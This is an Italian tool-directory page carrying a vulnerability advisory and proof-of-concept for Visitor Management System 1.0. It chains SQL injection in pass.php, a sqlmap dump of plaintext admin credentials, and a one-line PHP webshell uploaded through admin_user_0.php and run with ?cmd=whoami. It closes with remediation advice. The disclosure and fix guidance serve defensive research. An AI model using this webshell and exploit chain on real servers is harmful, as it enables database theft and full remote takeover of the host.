Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-10170-RCE — Proof-of-concept che dimostra l'iniezione SQL e il caricamento di file senza restrizioni combinati per ottenere l'esecuzione remota di codice in Visitor Management System 1.0, inclusa una guida passo-passo allo sfruttamento e alla mitigazione. | Kitploit
Strumenti/GitHubGitHub/xmyronn/cve-2026-10170-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubxmyronn/cve-2026-10170-rce

CVE-2026-10170-RCE

Proof-of-concept che dimostra l'iniezione SQL e il caricamento di file senza restrizioni combinati per ottenere l'esecuzione remota di codice in Visitor Management System 1.0, inclusa una guida passo-passo allo sfruttamento e alla mitigazione.

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Visitor Management System 1.0 - SQLi a Esecuzione di Codice Remoto (Catena di Attacco)

Informazioni sulla Vulnerabilità

CampoDettagli
ProdottoVisitor Management System
Venditorecode-projects.org
Versione1.0
Classi di VulnerabilitàSQL Injection (CWE-89) + Upload di File Senza Restrizioni (CWE-434)
ID CVEIn attesa
Punteggio CVSS9.8 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Autenticazione RichiestaPrivilegi bassi (account guardia) come punto di ingresso
File Interessati/vms/php/pass.php, /vms/php/admin_user_0.php
Parametro Vulnerabilephone (POST)

Descrizione

Il Visitor Management System 1.0 di code-projects.org è vulnerabile a una catena di attacco critica che combina SQL Injection e Upload di File Senza Restrizioni, portando all'Esecuzione di Codice Remoto.

Un attaccante con accesso a bassi privilegi (account guardia) può sfruttare una vulnerabilità di SQL injection in pass.php tramite il parametro POST phone per estrarre l'intero database — incluse le credenziali admin in chiaro. Utilizzando le credenziali estratte per autenticarsi come admin, l'attaccante può quindi caricare una webshell PHP tramite il pannello di gestione Admin User (admin_user_0.php), che non esegue alcuna validazione sul tipo di file o sull'estensione. La webshell caricata viene archiviata in una directory accessibile via web e può essere eseguita direttamente tramite URL, risultando in piena Esecuzione di Codice Remoto sul server.

Inoltre, le password sono memorizzate in chiaro nel database, il che significa che non è richiesto alcun passaggio di cracking dopo l'estrazione tramite SQLi.


Panoramica della Catena di Attacco

root@kitploit:~
Login guardia a bassi privilegi
        ↓
SQL Injection in pass.php (parametro phone)
        ↓
Estrazione sqlmap → credenziali admin in chiaro ottenute
        ↓
Login come admin (sanjay1:7861)
        ↓
Upload di file senza restrizioni in admin_user_0.php
        ↓
Webshell PHP caricata in /vms/php/folder/
        ↓
RCE tramite ?cmd=whoami → compromissione totale del server

Prova di Concetto Passo per Passo

Passo 1 — Login come Utente a Bassi Privilegi (Guardia)

Navigare nell'applicazione VMS e accedere con le credenziali della guardia. Dopo il login, navigare alla pagina Phone Number:

root@kitploit:~
http://<TARGET>/vms/php/phone_0.php
Screenshot 2026-05-05 034206

Passo 2 — Confermare la SQL Injection in pass.php

Inviare un singolo apice ' come valore del numero di telefono. L'applicazione genera un errore fatale di MariaDB che espone la query grezza e il percorso del file:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '2026-05-05'' at line 1 in 
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')

File interessato: pass.php riga 9
Parametro vulnerabile: phone (POST)

Screenshot 2026-05-05 034215

errore sql Screenshot 2026-05-05 034228


Passo 3 — Sfruttare la SQLi con sqlmap

Salvare la richiesta catturata con Burp Suite in un file (sqli.txt) ed eseguire sqlmap:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

sqlmap estrae con successo la tabella login_user dal database vms, rivelando le credenziali in chiaro per tutti gli utenti:

root@kitploit:~
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image   | phone      | name    | user  | gender | password | username  |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1  | <blank> | 8146905071 | sanjay  | guard | male   | 786      | sanjay123 |
| 2  | <blank> | 8146905071 | sanjay1 | admin | male   | 7861     | sanjay1   |
+----+---------+------------+---------+-------+--------+----------+-----------+

Nota: Le password sono memorizzate in chiaro — nessun cracking di hash richiesto.

Screenshot 2026-05-05 034316

Passo 4 — Login come Admin

Utilizzando le credenziali admin estratte, accedere al pannello di amministrazione:

root@kitploit:~
Username: sanjay1
Password: 7861

La dashboard admin completa è ora accessibile, inclusa la gestione di Employee, Department, Admin User e Report.

Screenshot 2026-05-05 034353

Passo 5 — Caricare la Webshell PHP tramite il Pannello Admin User

Navigare alla pagina di gestione Admin User:

root@kitploit:~
http://<TARGET>/vms/php/admin_user_0.php

La pagina contiene un campo di upload file per l'immagine del profilo. L'applicazione non esegue alcuna validazione sul tipo di file, nessun filtro sull'estensione e nessun controllo sul MIME type.

Compilare il modulo con valori qualsiasi e caricare la seguente webshell PHP come file immagine (web2_command.php):

root@kitploit:~
<?php echo shell_exec($_GET['cmd']); ?>
Screenshot 2026-05-05 034416

Passo 6 — Confermare il Caricamento della Webshell

Navigare alla pagina di visualizzazione Admin User:

root@kitploit:~
http://<TARGET>/vms/php/admin_display_0.php

Il nuovo account admin creato è visibile nella tabella. La webshell caricata è archiviata in:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php
Screenshot 2026-05-05 034429

Passo 7 — Esecuzione di Codice Remoto

Eseguire comandi di sistema arbitrari tramite la webshell:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami

Risultato: Il server restituisce l'utente di sistema corrente confermando la piena Esecuzione di Codice Remoto:

root@kitploit:~
desktop-g1i9np3\dell
Screenshot 2026-05-05 034438

Impatto

  • Compromissione totale del database — tutte le tabelle estratte tramite SQLi incluse le credenziali in chiaro
  • Rilevamento dell'account admin — le password in chiaro non richiedono cracking
  • Esecuzione di Codice Remoto — comandi OS arbitrari eseguiti come utente del server web
  • Compromissione totale del server — controllo completo sull'host sottostante
  • Memorizzazione delle password in chiaro — amplifica l'impatto della SQLi, le credenziali sono immediatamente utilizzabili

Riepilogo dei File Interessati

FileVulnerabilità
/vms/php/pass.phpSQL Injection tramite parametro POST phone
/vms/php/admin_user_0.phpUpload di File Senza Restrizioni — nessuna validazione di estensione o MIME
/vms/php/folder/Directory di archiviazione webshell — accessibile via web, senza restrizioni

Rimedio

Per la SQL Injection:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();

Per l'Upload di File:

  • Consentire solo estensioni in whitelist (solo jpg, png, gif)
  • Validare il MIME type lato server
  • Archiviare gli upload fuori dalla webroot
  • Rinominare i file caricati con stringhe casuali

Per la Memorizzazione delle Password:

  • Utilizzare password_hash() e password_verify() — non memorizzare mai in chiaro

Riferimenti

  • Homepage del Venditore
  • CWE-89: SQL Injection
  • CWE-434: Upload di File Senza Restrizioni con Tipo Pericoloso
  • OWASP File Upload Cheat Sheet

Scopritore

  • Ricercatore: Imad Alvi
  • VulDB: imad alvi
Scarica lo strumento